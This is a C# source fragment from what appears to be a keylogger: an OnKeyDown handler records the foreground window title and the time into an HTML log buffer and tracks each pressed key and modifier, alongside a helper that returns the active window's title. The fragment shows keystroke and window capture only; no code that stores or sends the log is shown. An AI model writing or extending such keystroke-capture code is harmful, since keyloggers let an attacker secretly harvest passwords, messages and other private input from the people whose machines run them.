/// <summary>
/// Initial handling of the key down events and updates the window title.
/// </summary>
/// <param name="sender">The sender of the event.</param>
/// <param name="e">The key event args, e.g. the keycode.</param>
/// <remarks>This event handler is called first.</remarks>
private void OnKeyDown(object sender, KeyEventArgs e)
{
string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle();
if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
{
_lastWindowTitle = activeWindowTitle;
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
+ HttpUtility.HtmlEncode(activeWindowTitle) + " - "
+ DateTime.Now.ToString("HH:mm")
+ "</b>]</p><br>");
}
if (_pressedKeys.ContainsModifierKeys())
{
if (!_pressedKeys.Contains(e.KeyCode))
{
Debug.WriteLine("OnKeyDown: " + e.KeyCode);
_pressedKeys.Add(e.KeyCode);
return;
}
}
if (!e.KeyCode.IsExcludedKey())
{
// The key was not part of the keys that we wish to filter, so
// be sure to prevent a situation where multiple keys are pressed.
if (!_pressedKeys.Contains(e.KeyCode))
{
Debug.WriteLine("OnKeyDown: " + e.KeyCode);
_pressedKeys.Add(e.KeyCode);
}
}
}
public static string GetActiveWindowTitle()
{
string title = NativeMethodsHelper.GetForegroundWindowTitle();
return((!string.IsNullOrEmpty(title)) ? title : null);
}
